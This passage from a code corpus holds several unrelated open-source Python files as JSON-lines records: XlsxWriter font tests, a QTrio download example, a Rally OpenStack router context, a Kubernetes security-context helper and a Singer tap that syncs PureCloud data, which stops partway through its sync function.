test_write_font_16(self):\n \"\"\"Test the _write_font() method. Double underline.\"\"\"\n properties = {'underline': 34}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n\n def test_write_font_17(self):\n \"\"\"Test the _write_font() method. Hyperlink.\"\"\"\n properties = {'hyperlink': 1}\n\n xf_format = Format(properties)\n\n self.styles._write_font(xf_format)\n\n exp = \"\"\"\"\"\"\n got = self.fh.getvalue()\n\n self.assertEqual(got, exp)\n", "source": "haiyangd/XlsxWriter", "license": "BSD-2-Clause-FreeBSD"} {"text": "\"\"\"Thanks to njsmith for developing Trio guest mode and sharing the first example\nintegration with Qt.\n\"\"\"\nimport contextlib\nimport math\nimport os\nimport time\nimport typing\n\nimport attr\nimport httpcore._async.http11\nimport httpx\nimport hyperlink\nimport qtrio\nimport trio\n\nimport qtrio.dialogs\n\n\n# Default is 4096\nhttpcore._async.http11.AsyncHTTP11Connection.READ_NUM_BYTES = 100_000\n\n\ndef create_title(specific: str) -> str:\n return f\"QTrio Download Example - {specific}\"\n\n\n@attr.s(auto_attribs=True, frozen=True)\nclass Progress:\n downloaded: int\n total: typing.Optional[int]\n first: bool\n\n\nasync def main(\n url: typing.Optional[typing.Union[str, hyperlink.URL]],\n destination: typing.Optional[typing.Union[str, os.PathLike]],\n fps: int = 60,\n text_input_dialog: typing.Optional[qtrio.dialogs.TextInputDialog] = None,\n file_dialog: typing.Optional[qtrio.dialogs.FileDialog] = None,\n progress_dialog: typing.Optional[qtrio.dialogs.ProgressDialog] = None,\n message_box: typing.Optional[qtrio.dialogs.MessageBox] = None,\n clock: typing.Callable[[], float] = time.monotonic,\n http_application: typing.Optional[typing.Callable[..., typing.Any]] = None,\n) -> None:\n print(\"file dialog right inside\", id(file_dialog), file_dialog, flush=True)\n converted_url: hyperlink.URL\n converted_destination: trio.Path\n\n with contextlib.suppress(qtrio.UserCancelledError):\n if url is None:\n if text_input_dialog is None: # pragma: no cover\n text_input_dialog = qtrio.dialogs.create_text_input_dialog()\n\n text_input_dialog.title = create_title(\"Enter URL\")\n text_input_dialog.label = \"URL to download:\"\n\n url = await text_input_dialog.wait()\n\n if isinstance(url, str):\n converted_url = hyperlink.URL.from_text(url)\n else:\n converted_url = url\n\n if destination is None:\n if file_dialog is None: # pragma: no cover\n file_dialog = qtrio.dialogs.create_file_save_dialog()\n\n file_dialog.default_file = trio.Path(converted_url.path[-1])\n\n destination = await file_dialog.wait()\n\n converted_destination = trio.Path(destination)\n\n await get_dialog(\n url=converted_url,\n destination=converted_destination,\n fps=fps,\n progress_dialog=progress_dialog,\n message_box=message_box,\n clock=clock,\n http_application=http_application,\n )\n\n\nasync def get_dialog(\n url: hyperlink.URL,\n destination: trio.Path,\n fps: float,\n progress_dialog: typing.Optional[qtrio.dialogs.ProgressDialog] = None,\n message_box: typing.Optional[qtrio.dialogs.MessageBox] = None,\n clock: typing.Callable[[], float] = time.monotonic,\n http_application: typing.Optional[typing.Callable[..., typing.Any]] = None,\n) -> None:\n if progress_dialog is None: # pragma: no cover\n progress_dialog = qtrio.dialogs.create_progress_dialog()\n\n progress_dialog.title = create_title(\"Fetching\")\n progress_dialog.text = f\"Fetching {url}...\"\n\n async with progress_dialog.manage():\n if progress_dialog.dialog is None: # pragma: no cover\n raise qtrio.InternalError(\"Dialog not assigned while it is being managed.\")\n\n # Always show the dialog\n progress_dialog.dialog.setMinimumDuration(0)\n\n start = clock()\n\n async for progress in get(\n url=url,\n destination=destination,\n update_period=1 / fps,\n http_application=http_application,\n ):\n if progress.first:\n if progress.total is None:\n maximum = 0\n else:\n maximum = progress.total\n\n progress_dialog.dialog.setMaximum(maximum)\n progress_dialog.dialog.setValue(0)\n\n if progress.total is not None:\n progress_dialog.dialog.setValue(progress.downloaded)\n\n end = clock()\n\n duration = end - start\n if duration == 0:\n # define this seems to happen when testing on Windows with an x86 Python\n if progress.downloaded > 0:\n bytes_per_second = math.inf\n else: # pragma: no cover\n bytes_per_second = 0\n else:\n bytes_per_second = progress.downloaded / duration\n\n summary = \"\\n\\n\".join(\n [\n url.asText(),\n os.fspath(destination),\n f\"Downloaded {progress.downloaded} bytes in {duration:.2f} seconds\",\n f\"{bytes_per_second:.2f} bytes/second\",\n ]\n )\n\n if message_box is None: # pragma: no cover\n message_box = qtrio.dialogs.create_message_box()\n\n message_box.title = create_title(\"Download Summary\")\n message_box.text = summary\n\n await message_box.wait()\n\n\nasync def get(\n url: hyperlink.URL,\n destination: trio.Path,\n update_period: float,\n clock: typing.Callable[[], float] = time.monotonic,\n http_application: typing.Optional[typing.Callable[..., typing.Any]] = None,\n) -> typing.AsyncIterable[Progress]:\n async with httpx.AsyncClient(app=http_application) as client:\n async with client.stream(\"GET\", url.asText()) as response:\n raw_content_length = response.headers.get(\"content-length\")\n if raw_content_length is None:\n content_length = None\n else:\n content_length = int(raw_content_length)\n\n progress = Progress(\n downloaded=0,\n total=content_length,\n first=True,\n )\n\n yield progress\n last_update = clock()\n\n progress = attr.evolve(progress, first=False)\n\n downloaded = 0\n\n async with (await destination.open(\"wb\")) as file:\n async for chunk in response.aiter_raw():\n downloaded += len(chunk)\n await file.write(chunk) # type: ignore[attr-defined]\n\n if clock() - last_update > update_period:\n progress = attr.evolve(progress, downloaded=downloaded)\n yield progress\n last_update = clock()\n\n if progress.downloaded != downloaded:\n progress = attr.evolve(progress, downloaded=downloaded)\n yield progress\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# Copyright 2017: Orange\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom rally.common import utils\nfrom rally.common import validation\nfrom rally.task import context\n\nfrom rally_openstack.cleanup import manager as resource_manager\nfrom rally_openstack import consts\nfrom rally_openstack.scenarios.neutron import utils as neutron_utils\n\n\n@validation.add(\"required_platform\", platform=\"openstack\", admin=True,\n users=True)\n@context.configure(name=\"router\", platform=\"openstack\", order=351)\nclass Router(context.Context):\n \"\"\"Create networking resources.\n\n This creates router for all tenants.\n \"\"\"\n\n CONFIG_SCHEMA = {\n \"type\": \"object\",\n \"$schema\": consts.JSON_SCHEMA,\n \"properties\": {\n \"routers_per_tenant\": {\n \"type\": \"integer\",\n \"minimum\": 1\n },\n \"admin_state_up \": {\n \"description\": \"A human-readable description for the resource\",\n \"type\": \"boolean\",\n },\n \"external_gateway_info\": {\n \"description\": \"The external gateway information .\",\n \"type\": \"object\",\n \"properties\": {\n \"network_id\": {\"type\": \"string\"},\n \"enable_snat\": {\"type\": \"boolean\"}\n },\n \"additionalProperties\": False\n },\n \"network_id\": {\n \"description\": \"Network ID\",\n \"type\": \"string\"\n },\n \"external_fixed_ips\": {\n \"description\": \"Ip(s) of the external gateway interface.\",\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"ip_address\": {\"type\": \"string\"},\n \"subnet_id\": {\"type\": \"string\"}\n },\n \"additionalProperties\": False,\n }\n },\n \"distributed\": {\n \"description\": \"Distributed router. Require dvr extension.\",\n \"type\": \"boolean\"\n },\n \"ha\": {\n \"description\": \"Highly-available router. Require l3-ha.\",\n \"type\": \"boolean\"\n },\n \"availability_zone_hints\": {\n \"description\": \"Require router_availability_zone extension.\",\n \"type\": \"boolean\"\n }\n },\n \"additionalProperties\": False\n }\n\n DEFAULT_CONFIG = {\n \"routers_per_tenant\": 1,\n }\n\n def setup(self):\n kwargs = {}\n parameters = (\"admin_state_up\", \"external_gateway_info\", \"network_id\",\n \"external_fixed_ips\", \"distributed\", \"ha\",\n \"availability_zone_hints\")\n for parameter in parameters:\n if parameter in self.config:\n kwargs[parameter] = self.config[parameter]\n for user, tenant_id in (utils.iterate_per_tenants(\n self.context.get(\"users\", []))):\n self.context[\"tenants\"][tenant_id][\"routers\"] = []\n scenario = neutron_utils.NeutronScenario(\n context={\"user\": user, \"task\": self.context[\"task\"],\n \"owner_id\": self.context[\"owner_id\"]}\n )\n for i in range(self.config[\"routers_per_tenant\"]):\n router = scenario._create_router(kwargs)\n self.context[\"tenants\"][tenant_id][\"routers\"].append(router)\n\n def cleanup(self):\n resource_manager.cleanup(\n names=[\"neutron.router\"],\n users=self.context.get(\"users\", []),\n superclass=neutron_utils.NeutronScenario,\n task_id=self.get_owner_id())\n", "source": "RSE-Cambridge/rally-openstack", "license": "Apache-2.0"} {"text": "from __future__ import annotations\n\nfrom cdk8s import Chart\n\nfrom imports import k8s\nfrom kubeasy_sdk.utils.resource import Rendered\n\n\nclass SecurityContext(Rendered):\n def __init__(self, capabilities: dict = None, read_only_root_fs: bool = True, run_as_uid: int = 1000, run_as_gid: int = 1000, run_as_root: bool = False):\n func_locals = dict(locals())\n del func_locals['self']\n super().__init__(**func_locals)\n\n self.capabilities = capabilities\n self.read_only_root_fs = read_only_root_fs\n self.run_as_uid = run_as_uid\n self.run_as_gid = run_as_gid\n self.run_as_non_root = run_as_root\n\n def set_capabilities(self, capabilities: dict = None) -> SecurityContext:\n if capabilities is None:\n self.capabilities = k8s.Capabilities(drop=[\"ALL\"])\n return self\n\n def set_ro_root_fs(self, read_only_root_fs: bool = True) -> SecurityContext:\n self.read_only_root_fs = read_only_root_fs\n return self\n\n def set_run_as_uid(self, run_as_uid: int = 1000) -> SecurityContext:\n self.run_as_uid = run_as_uid\n return self\n\n def set_run_as_gid(self, run_as_gid: int = 1000) -> SecurityContext:\n self.run_as_gid = run_as_gid\n return self\n\n def set_run_as_root(self, run_as_root: bool = False) -> SecurityContext:\n self.run_as_non_root = not run_as_root\n return self\n\n def render_k8s_resource(self, chart: Chart) -> k8s.SecurityContext:\n return k8s.SecurityContext(capabilities=self.capabilities,\n privileged=False,\n read_only_root_filesystem=self.read_only_root_fs,\n run_as_group=self.run_as_gid,\n run_as_user=self.run_as_uid,\n run_as_non_root=self.run_as_non_root)\n", "source": "dylanturn/kubeasy", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\n\nimport argparse\nimport requests\nimport singer\nimport logging\nimport base64\nimport datetime\nimport time\nimport json\nimport backoff\nimport hashlib\nimport collections\n\nimport PureCloudPlatformApiSdk\nimport PureCloudPlatformClientV2\nfrom PureCloudPlatformApiSdk.rest import ApiException\n\nimport tap_purecloud.schemas as schemas\nimport tap_purecloud.websocket_helper\nimport time\n\nfrom . import streams\nfrom . import context\n\n\nlogger = singer.get_logger()\n\nHTTP_SUCCESS = 200\nHTTP_RATE_LIMIT_ERROR = 429\nAPI_RETRY_INTERVAL_SECONDS = 30\nAPI_RETRY_COUNT = 5\nBASE_PURECLOUD_AUTH_HOST = 'https://login.{domain}'\nBASE_PURECLOUD_API_HOST = 'https://api.{domain}'\nDEFAULT_SCHEDULE_LOOKAHEAD_WEEKS = 5\n\n\ndef giveup(error):\n logger.warning(\"Encountered an error while syncing\")\n logger.error(error)\n\n is_api_error = hasattr(error, 'status')\n is_rate_limit_error = error.status == HTTP_RATE_LIMIT_ERROR\n\n logger.debug(\"Is API Error? {}. Is Rate Limit Error? {}.\".format(is_api_error, is_rate_limit_error))\n\n # return true if we should *not* retry\n should_retry = is_api_error and is_rate_limit_error\n return not should_retry\n\n\ndef get_access_token(config):\n \"Returns an access_token for the client credentials, or raises if unauthorized\"\n\n client_id = config['client_id']\n client_secret = config['client_secret']\n client_domain = config['domain']\n\n auth_host = BASE_PURECLOUD_AUTH_HOST.format(domain=client_domain)\n auth_endpoint = '{}/oauth/token'.format(auth_host)\n\n client_creds = \"{}:{}\".format(client_id, client_secret).encode('utf-8')\n raw_authorization = base64.b64encode(client_creds)\n authorization = raw_authorization.decode('ascii')\n\n body = {'grant_type': 'client_credentials'}\n\n headers = {\n 'Authorization': 'Basic {}'.format(authorization),\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n\n response = requests.post(auth_endpoint, data=body, headers=headers)\n\n if response.status_code == HTTP_SUCCESS:\n response_json = response.json()\n return response_json['access_token']\n else:\n logger.fatal(response.json())\n raise RuntimeError(\"Unauthorized\")\n\n\nclass FakeBody(object):\n def __init__(self, page_number=1, page_size=100):\n self.page_number = page_number\n self.page_size = page_size\n\n\n@backoff.on_exception(backoff.constant,\n (PureCloudPlatformApiSdk.rest.ApiException),\n jitter=backoff.random_jitter,\n max_tries=API_RETRY_COUNT,\n giveup=giveup,\n interval=API_RETRY_INTERVAL_SECONDS)\n\ndef fetch_one_page(get_records, body, entity_name, api_function_params):\n if isinstance(body, FakeBody):\n logger.info(\"Fetching {} records from page {}\".format(body.page_size, body.page_number))\n response = get_records(page_size=body.page_size, page_number=body.page_number, **api_function_params)\n elif hasattr(body, 'page_size'):\n logger.info(\"Fetching {} records from page {}\".format(body.page_size, body.page_number))\n response = get_records(body, **api_function_params)\n elif hasattr(body, 'paging'):\n logger.info(\"Fetching {} records from page {}\".format(body.paging['pageSize'], body.paging['pageNumber']))\n response = get_records(body, **api_function_params)\n else:\n raise RuntimeError(\"Unknown body passed to request: {}\".format(body))\n\n if hasattr(response, entity_name):\n results = getattr(response, entity_name)\n elif entity_name in response:\n results = response[entity_name]\n else:\n results = []\n\n if results is None:\n return response, []\n else:\n return response, results\n\n\ndef should_continue(api_response, body, entity_name):\n records = getattr(api_response, entity_name, [])\n\n if records is None or len(records) == 0:\n return False\n elif hasattr(api_response, 'page_count') and body.page_number >= api_response.page_count:\n return False\n else:\n return True\n\n\ndef fetch_all_records(get_records, entity_name, body, api_function_params=None, max_pages=None):\n if api_function_params is None:\n api_function_params = {}\n\n body.page_size = 100\n body.page_number = 1\n\n api_response, results = fetch_one_page(get_records, body, entity_name, api_function_params)\n yield results\n\n while should_continue(api_response, body, entity_name) and body.page_number != max_pages:\n body.page_number += 1\n\n api_response, results = fetch_one_page(get_records, body, entity_name, api_function_params)\n yield results\n\n\ndef fetch_all_analytics_records(get_records, body, entity_name, max_pages=None):\n api_function_params = {}\n\n body.paging = {\n \"pageSize\": 100,\n \"pageNumber\": 1\n }\n\n api_response, results = fetch_one_page(get_records, body, entity_name, api_function_params)\n yield results\n\n while results is not None and len(results) > 0 and body.paging['pageNumber'] != max_pages:\n body.paging['pageNumber'] += 1\n api_response, results = fetch_one_page(get_records, body, entity_name, api_function_params)\n yield results\n\n\ndef parse_dates(record):\n parsed = record.copy()\n for (k,v) in record.items():\n if isinstance(v, datetime.datetime):\n parsed[k] = v.isoformat()\n return parsed\n\n\ndef handle_object(obj):\n return parse_dates(obj.to_dict())\n\n\ndef stream_results(generator, transform_record, record_name, schema, primary_key, write_schema, ctx=None):\n all_records = []\n if write_schema:\n singer.write_schema(record_name, schema, primary_key)\n for page in generator:\n if isinstance(page, dict):\n records = [transform_record(k, v) for (k,v) in page.items()]\n else:\n records = [transform_record(record) for record in page]\n valid_records = [r for r in records if r is not None]\n singer.write_records(record_name, valid_records)\n\n if ctx:\n ctx.write_state()\n\n all_records.extend(valid_records)\n return all_records\n\n\ndef stream_results_list(generator, transform_record, record_name, schema, primary_key, write_schema):\n if write_schema:\n singer.write_schema(record_name, schema, primary_key)\n\n for page in generator:\n records_list = [transform_record(record) for record in page]\n for records in records_list:\n singer.write_records(record_name, records)\n\n\ndef sync_users(config, ctx):\n logger.info(\"Fetching users\")\n api_instance = PureCloudPlatformApiSdk.UsersApi()\n body = FakeBody()\n gen_users = fetch_all_records(api_instance.get_users, 'entities', body, {'expand': ['locations']})\n stream_results(gen_users, handle_object, 'users', schemas.users, ['id'], True)\n\n\ndef sync_groups(config, ctx):\n logger.info(\"Fetching groups\")\n api_instance = PureCloudPlatformApiSdk.GroupsApi()\n body = FakeBody()\n gen_groups = fetch_all_records(api_instance.get_groups, 'entities', body)\n stream_results(gen_groups, handle_object, 'groups', schemas.groups, ['id'], True)\n\n\ndef sync_locations(config, ctx):\n logger.info(\"Fetching locations\")\n api_instance = PureCloudPlatformApiSdk.LocationsApi()\n body = PureCloudPlatformApiSdk.LocationSearchRequest()\n gen_locations = fetch_all_records(api_instance.post_search, 'results', body)\n stream_results(gen_locations, handle_object, 'location', schemas.location, ['id'], True)\n\n\ndef sync_presence_definitions(config, ctx):\n logger.info(\"Fetching presence definitions\")\n api_instance = PureCloudPlatformApiSdk.PresenceApi()\n body = FakeBody()\n gen_presences = fetch_all_records(api_instance.get_presencedefinitions, 'entities', body)\n stream_results(gen_presences, handle_object, 'presence', schemas.presence, ['id'], True)\n\n\ndef sync_queues(config, ctx):\n logger.info(\"Fetching queues\")\n api_instance = PureCloudPlatformApiSdk.RoutingApi()\n body = FakeBody()\n gen_queues = fetch_all_records(api_instance.get_queues, 'entities', body)\n\n queues = stream_results(gen_queues, handle_object, 'queues', schemas.queues, ['id'], True)\n\n for i, queue in enumerate(queues):\n first_page = (i == 0)\n queue_id = queue['id']\n\n getter = lambda *args, **kwargs: api_instance.get_queues_queue_id_users(queue_id)\n gen_queue_membership = fetch_all_records(getter, 'entities', FakeBody())\n stream_results(gen_queue_membership, handle_queue_user_membership(queue_id), 'queue_membership', schemas.queue_membership, ['id'], first_page)\n\n getter = lambda *args, **kwargs: api_instance.get_queues_queue_id_wrapupcodes(queue_id)\n gen_queue_wrapup_codes = fetch_all_records(getter, 'entities', FakeBody())\n stream_results(gen_queue_wrapup_codes, handle_queue_wrapup_code(queue_id), 'queue_wrapup_code', schemas.queue_wrapup_code, ['id'], first_page)\n\n\n\ndef get_wfm_units_for_broken_sdk(api_instance):\n def wrap(*args, **kwargs):\n _ = api_instance.get_managementunits(*args, **kwargs)\n return json.loads(api_instance.api_client.last_response.data)\n return wrap\n\n\ndef handle_activity_codes(unit_id):\n def wrap(activity_code_id, activity_code):\n activity_code = activity_code.to_dict()\n activity_code['id'] = activity_code_id\n activity_code['management_unit_id'] = unit_id\n return activity_code\n return wrap\n\n\ndef handle_mgmt_users(unit_id):\n def wrap(user):\n return {\n 'user_id': user.id,\n 'management_unit_id': unit_id,\n }\n return wrap\n\ndef handle_queue_user_membership(queue_id):\n def wrap(queue_membership):\n membership_info = handle_object(queue_membership)\n user = membership_info.pop('user')\n\n membership_info['user_id'] = user['id']\n membership_info['queue_id'] = queue_id\n\n return membership_info\n return wrap\n\ndef handle_queue_wrapup_code(queue_id):\n def wrap(queue_wrapup_code):\n wrapup_code = handle_object(queue_wrapup_code)\n wrapup_code['queue_id'] = queue_id\n\n return wrapup_code\n return wrap\n\ndef handle_schedule(start_date):\n def wrap(user_id, user_record):\n schedule = {\n 'start_date': start_date,\n 'user_id': user_id\n }\n\n if len(user_record.shifts) == 0:\n return None\n\n shifts = [parse_dates(shift.to_dict()) for shift in user_record.shifts]\n for shift in shifts:\n parsed_activities = [parse_dates(activity) for activity in shift['activities']]\n shift['activities'] = parsed_activities\n\n schedule['shifts'] = shifts\n return schedule\n\n return wrap\n\ndef sync_user_schedules(config, unit_id, user_ids, first_page):\n logger.info(\"Fetching user schedules\")\n api_instance = PureCloudPlatformApiSdk.WorkforceManagementApi()\n\n sync_date = config['start_date']\n lookahead_weeks = config.get('schedule_lookahead_weeks', DEFAULT_SCHEDULE_LOOKAHEAD_WEEKS)\n end_date = datetime.date.today() + datetime.timedelta(weeks=lookahead_weeks)\n incr = datetime.timedelta(days=1)\n\n while sync_date < end_date:\n logger.info(\"Syncing for {}\".format(sync_date))\n next_date = sync_date + incr\n\n start_date_s = sync_date.strftime('%Y-%m-%dT00:00:00.000Z')\n end_date_s = next_date.strftime('%Y-%m-%dT00:00:00.000Z')\n\n body = PureCloudPlatformApiSdk.UserListScheduleRequestBody()\n body.user_ids = user_ids\n body.start_date = start_date_s\n body.end_date = end_date_s\n\n getter = lambda *args, **kwargs: api_instance.post_managementunits_mu_id_schedules_search(unit_id, body=body)\n gen_schedules = fetch_all_analytics_records(getter, body, 'user_schedules', max_pages=1)\n\n stream_results(gen_schedules, handle_schedule(start_date_s), 'user_schedule', schemas.user_schedule, ['start_date', 'user_id'], first_page)\n\n sync_date = next_date\n first_page = False\n\n\ndef sync_wfm_historical_adherence(config, unit_id, users, body):\n # The ol' Python pass-by-reference\n result_reference = {}\n wfm_notifcation_thread = tap_purecloud.websocket_helper.get_historical_adherence(config, result_reference, unit_id)\n\n # give the webhook a chance to get settled\n logger.info(\"Waiting for websocket to settle\")\n time.sleep(3)\n\n logger.info(\"POSTING adherence request for unit={}, users=[{}]\".format(unit_id, \",\".join(users)))\n api_instance = PureCloudPlatformClientV2.WorkforceManagementApi()\n try:\n wfm_response = api_instance.post_workforcemanagement_managementunit_historicaladherencequery(\n unit_id, body=body)\n except PureCloudPlatformClientV2.rest.ApiException as e:\n time.sleep(10)\n wfm_response = api_instance.post_workforcemanagement_managementunit_historicaladherencequery(\n unit_id, body=body)\n\n logger.info(\"Waiting for notification\")\n wfm_notifcation_thread.join()\n\n if 'downloadUrl' in result_reference:\n url = result_reference['downloadUrl']\n response = requests.get(url).json()\n yield response['data']\n else:\n yield None\n\ndef handle_adherence(unit_id):\n def handle(record):\n record['management_unit_id'] = unit_id\n return parse_dates(record)\n return handle\n\ndef get_user_unit_mapping(users):\n unit_users = collections.defaultdict(list)\n for item in users:\n user_id = item['user_id']\n management_unit_id = item['management_unit_id']\n unit_users[management_unit_id].append(user_id)\n return unit_users\n\n\ndef sync_historical_adherence(config, unit_id, users, first_page, ctx):\n\n # Use sync date from bookmark if present, otherwise default to\n # overall tap start date\n\n bookmarked_start = ctx.get_bookmark(['historical_adherence', unit_id])\n if bookmarked_start:\n sync_date = parse_input_date(bookmarked_start)\n else:\n sync_date = config['start_date']\n\n end_date = datetime.date.today()\n incr = datetime.timedelta(days=1)\n\n sync_date = sync_date - incr\n\n while sync_date < end_date:\n logger.info(\"Syncing historical adherence for {}\".format(sync_date))\n next_date = sync_date + incr\n\n start_date_s = sync_date.strftime('%Y-%m-%dT00:00:00.000Z')\n end_date_s = next_date.strftime('%Y-%m-%dT00:00:00.000Z')\n\n body = PureCloudPlatformClientV2.WfmHistoricalAdherenceQuery()\n body.start_date = start_date_s\n body.end_date = end_date_s\n body.user_ids = users\n body.include_exceptions = True\n body.time_zone = \"UTC\"\n\n gen_adherence = sync_wfm_historical_adherence(config, unit_id, users, body)\n gen_adherence = [i for i in gen_adherence if i is not None]\n\n # This writes the state after every successful record\n stream_results(gen_adherence,\n handle_adherence(unit_id),\n 'historical_adherence',\n schemas.historical_adherence,\n ['userId', 'management_unit_id', 'startDate'],\n first_page,\n ctx=ctx)\n\n\n ctx.set_bookmark(['historical_adherence', unit_id], sync_date.isoformat())\n\n sync_date = next_date\n first_page = False\n\n ctx.set_bookmark(['historical_adherence', unit_id], sync_date.isoformat())\n\ndef sync_management_units(config, ctx):\n logger.info(\"Fetching management units\")\n api_instance = PureCloudPlatformApiSdk.WorkforceManagementApi()\n body = FakeBody()\n getter = get_wfm_units_for_broken_sdk(api_instance)\n gen_units = fetch_all_records(getter, 'entities', body)\n\n # first, write out the units\n mgmt_units = stream_results(gen_units, lambda x: x, 'management_unit', schemas.management_unit, ['id'], True)\n\n for i, unit in enumerate(mgmt_units):\n logger.info(\"Syncing mgmt unit {} of {}\".format(i + 1, len(mgmt_units)))\n first_page = (i == 0)\n unit_id = unit['id']\n\n # don't allow args here\n getter = lambda *args, **kwargs: api_instance.get_managementunits_mu_id_activitycodes(unit_id)\n gen_activitycodes = fetch_all_records(getter, 'activity_codes', FakeBody(), max_pages=1)\n stream_results(gen_activitycodes, handle_activity_codes(unit_id), 'activity_code', schemas.activity_codes, ['id', 'management_unit_id'], first_page)\n\n # don't allow args here\n getter = lambda *args, **kwargs: api_instance.get_managementunits_mu_id_users(unit_id)\n gen_users = fetch_all_records(getter, 'entities', FakeBody(), max_pages=1)\n users = stream_results(gen_users, handle_mgmt_users(unit_id), 'management_unit_users', schemas.management_unit_users, ['user_id', 'management_unit_id'], first_page)\n\n user_ids = [user['user_id'] for user in users]\n sync_user_schedules(config, unit_id, user_ids, first_page)\n\n unit_users = get_user_unit_mapping(users)\n sync_historical_adherence(config, unit_id, unit_users[unit_id], first_page, ctx)\n\n\ndef handle_conversation(conversation_record):\n conversation = handle_object(conversation_record)\n\n participants = []\n for participant_record in conversation_record.participants:\n participants.append(handle_object(participant_record))\n\n sessions = []\n for session_record in participant_record.sessions:\n sessions.append(handle_object(session_record))\n\n segments = []\n for segment_record in session_record.segments:\n segments.append(handle_object(segment_record))\n\n sessions[-1]['segments'] = segments\n participants[-1]['sessions'] = sessions\n conversation['participants'] = participants\n\n return conversation\n\n\ndef sync_conversations(config, ctx):\n logger.info(\"Fetching conversations\")\n api_instance = PureCloudPlatformApiSdk.ConversationsApi()\n\n sync_date = config['start_date']\n end_date = datetime.date.today() + datetime.timedelta(days=1)\n incr = datetime.timedelta(days=1)\n\n first_page = True\n while sync_date < end_date:\n logger.info(\"Syncing for {}\".format(sync_date))\n next_date = sync_date + incr\n interval = '{}/{}'.format(\n sync_date.strftime('%Y-%m-%dT00:00:00.000Z'),\n next_date.strftime('%Y-%m-%dT00:00:00.000Z')\n )\n\n body = PureCloudPlatformApiSdk.ConversationQuery()\n body.interval = interval\n body.order = \"asc\"\n body.orderBy = \"conversationStart\"\n\n gen_conversations = fetch_all_analytics_records(api_instance.post_conversations_details_query, body, 'conversations')\n stream_results(gen_conversations, handle_conversation, 'conversation', schemas.conversation, ['conversation_id'], first_page)\n\n sync_date = next_date\n first_page = False\n\n\ndef md5(s):\n hasher = hashlib.md5()\n hasher.update(s.encode('utf-8'))\n return hasher.hexdigest()\n\n\ndef handle_user_presences(user_details_record):\n presences = []\n\n if not user_details_record.primary_presence:\n return presences\n\n for presence in user_details_record.primary_presence:\n pres_dict = parse_dates(presence.to_dict())\n pres_dict['user_id'] = user_details_record.user_id\n pres_dict['id'] = md5(\"{}-{}\".format(pres_dict['start_time'], pres_dict['user_id']))\n presences.append({\n 'id': pres_dict['id'],\n 'user_id': pres_dict['user_id'],\n 'start_time': pres_dict['start_time'],\n 'end_time': pres_dict['end_time'],\n 'state': pres_dict['system_presence'],\n 'state_id': pres_dict['organization_presence_id'],\n 'type': 'presence'\n })\n\n return presences\n\n\ndef handle_user_routing_statuses(user_details_record):\n statuses = []\n\n if not user_details_record.routing_status:\n return statuses\n\n for status in user_details_record.routing_status:\n status_dict = parse_dates(status.to_dict())\n status_dict['user_id'] = user_details_record.user_id\n status_dict['id'] = md5(\"{}-{}\".format(status_dict['start_time'], status_dict['user_id']))\n statuses.append({\n 'id': status_dict['id'],\n 'user_id': status_dict['user_id'],\n 'start_time': status_dict['start_time'],\n 'end_time': status_dict['end_time'],\n 'state': status_dict['routing_status'],\n 'type': 'routing_status'\n })\n\n return statuses\n\n\ndef handle_user_details(user_details_record):\n user_details = user_details_record.to_dict()\n\n presences = handle_user_presences(user_details_record)\n statuses = handle_user_routing_statuses(user_details_record)\n\n return presences + statuses\n\n\ndef sync_user_details(config, ctx):\n logger.info(\"Fetching user details\")\n api_instance = PureCloudPlatformApiSdk.UsersApi()\n\n sync_date = config['start_date']\n end_date = datetime.date.today() + datetime.timedelta(days=1)\n incr = datetime.timedelta(days=1)\n\n first_page = True\n while sync_date < end_date:\n logger.info(\"Syncing for {}\".format(sync_date))\n next_date = sync_date + incr\n interval = '{}/{}'.format(\n sync_date.strftime('%Y-%m-%dT00:00:00.000Z'),\n next_date.strftime('%Y-%m-%dT00:00:00.000Z')\n )\n\n body = PureCloudPlatformApiSdk.UserDetailsQuery()\n body.interval = interval\n body.order = \"asc\"\n\n\n gen_user_details = fetch_all_analytics_records(api_instance.post_users_details_query, body, 'user_details')\n stream_results_list(gen_user_details, handle_user_details, 'user_state', schemas.user_state, ['id'], first_page)\n sync_date = next_date\n\n first_page = False\n\n\ndef validate_config(config):\n required_keys = ['domain', 'client_id', 'client_secret', 'start_date']\n missing_keys = []\n null_keys = []\n has_errors = False\n\n for required_key in required_keys:\n if required_key not in config:\n missing_keys.append(required_key)\n\n elif config.get(required_key) is None:\n null_keys.append(required_key)\n\n if len(missing_keys) > 0:\n logger.fatal(\"Config is missing keys: {}\"\n .format(\", \".join(missing_keys)))\n has_errors = True\n\n if len(null_keys) > 0:\n logger.fatal(\"Config has null keys: {}\"\n .format(\", \".join(null_keys)))\n has_errors = True\n\n if has_errors:\n raise RuntimeError\n\n\ndef load_config(filename):\n config = {}\n\n try:\n with open(filename) as f:\n config = json.load(f)\n except Exception as e:\n logger.fatal(\"Failed to decode config file. Is it valid json?\")\n logger.fatal(e)\n raise RuntimeError\n\n validate_config(config)\n\n return config\n\n\ndef load_state(filename):\n if filename is None:\n return {}\n\n try:\n with open(filename) as f:\n return json.load(f)\n except:\n logger.fatal(\"Failed to decode state file. Is it valid json?\")\n raise RuntimeError\n\n\ndef parse_input_date(date_string):\n return singer.utils.strptime_with_tz(date_string).date()\n\n\ndef do_sync(args):\n logger.info(\"Starting sync.\")\n\n config = load_config(args.config)\n state = load_state(args.state)\n\n ctx = context.Context(state)\n\n # grab start date from state file. If not found\n # default to value in config file\n\n if 'start_date' in state:\n start_date = parse_input_date(state['start_date'])\n else:\n start_date = parse_input_date(config['start_date'])\n\n logger.info(\"Syncing data from: {}\".format(start_date))\n\n config['start_date'] = start_date\n\n logger.info(\"Getting access token\")\n access_token = get_access_token(config)\n\n api_host = 'https://api.{domain}'.format(domain=config['domain'])\n PureCloudPlatformApiSdk.configuration.host = api_host\n PureCloudPlatformApiSdk.configuration.access_token = access_token\n\n 